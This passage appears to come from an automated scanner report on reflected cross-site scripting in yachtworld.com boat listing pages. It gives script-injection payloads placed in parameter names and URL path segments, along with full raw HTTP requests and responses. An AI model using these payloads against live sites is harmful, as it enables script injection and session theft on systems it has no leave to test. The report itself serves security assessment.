VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:05:17 GMT Server: Apache Cache-Control: private If-Modified-Since: Mon, 24 Jan 2011 14:45:25 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2255088%5B%25%5D32%27+Regulator+32FS+Center+Console+Loaded%21%5B%25%5DUSD%26nbsp%3B89%2C900%5B%25%5DFort+Lauderdale%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F5%2F5%2F0%2F2255088_1_mini.jpg%3F1250865908000%5B%25%5D%2Fboats%2F2004%2FRegulator-32FS-Center-Console-Loaded%2521-2255088%2FFort-Lauderdale%2FFL%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:05:16 GMT Set-Cookie: VIEWED_BOATS_STORE=2255088%5B%25%5D32%27+Regulator+32FS+Center+Console+Loaded%21%5B%25%5DUSD%26nbsp%3B89%2C900%5B%25%5DFort+Lauderdale%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F5%2F5%2F0%2F2255088_1_mini.jpg%3F1250865908000%5B%25%5D%2Fboats%2F2004%2FRegulator-32FS-Center-Console-Loaded%2521-2255088%2FFort-Lauderdale%2FFL%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.112. http://www.yachtworld.com/boats/2004/Regulator-32fs-Center-Console-Loaded!-2255088/Fort-Lauderdale/FL/United-States [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 588f2"><script>alert(1)</script>9c458a9cc4e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2004/Regulator-32fs-Center-Console-Loaded!-2255088/Fort-Lauderdale/FL/United-States?588f2"><script>alert(1)</script>9c458a9cc4e=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:03:52 GMT Server: Apache Cache-Control: private If-Modified-Since: Mon, 24 Jan 2011 14:45:25 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2255088%5B%25%5D32%27+Regulator+32FS+Center+Console+Loaded%21%5B%25%5DUSD%26nbsp%3B89%2C900%5B%25%5DFort+Lauderdale%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F5%2F5%2F0%2F2255088_1_mini.jpg%3F1250865908000%5B%25%5D%2Fboats%2F2004%2FRegulator-32FS-Center-Console-Loaded%2521-2255088%2FFort-Lauderdale%2FFL%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:03:52 GMT Set-Cookie: VIEWED_BOATS_STORE=2255088%5B%25%5D32%27+Regulator+32FS+Center+Console+Loaded%21%5B%25%5DUSD%26nbsp%3B89%2C900%5B%25%5DFort+Lauderdale%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F5%2F5%2F0%2F2255088_1_mini.jpg%3F1250865908000%5B%25%5D%2Fboats%2F2004%2FRegulator-32FS-Center-Console-Loaded%2521-2255088%2FFort-Lauderdale%2FFL%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9ac7d"><script>alert(1)</script>cc630271c5d was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 76b31"><script>alert(1)</script>b21ecc1901e was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 92a9e"><script>alert(1)</script>460982dca51 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
3.116. http://www.yachtworld.com/boats/2005/Regulator-32-Forward-Seating-2237772/Parkton/MD/United-States [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b4dcc"><script>alert(1)</script>1025b3b0115 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a2eca"><script>alert(1)</script>5a970a1c18a was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2005/Regulator-32-Forward-Seating-2292192/Pt.-Pleasanta2eca"><script>alert(1)</script>5a970a1c18a/NJ/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:02:48 GMT Server: Apache Cache-Control: private If-Modified-Since: Sun, 05 Dec 2010 20:45:25 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2292192%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B105%2C900%5B%25%5DPt.+Pleasant%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F9%2F2%2F1%2F2292192_1_mini.jpg%3F1291581360000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2292192%2FPt.-Pleasant%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:02:48 GMT Set-Cookie: VIEWED_BOATS_STORE=2292192%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B105%2C900%5B%25%5DPt.+Pleasant%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F9%2F2%2F1%2F2292192_1_mini.jpg%3F1291581360000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2292192%2FPt.-Pleasant%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-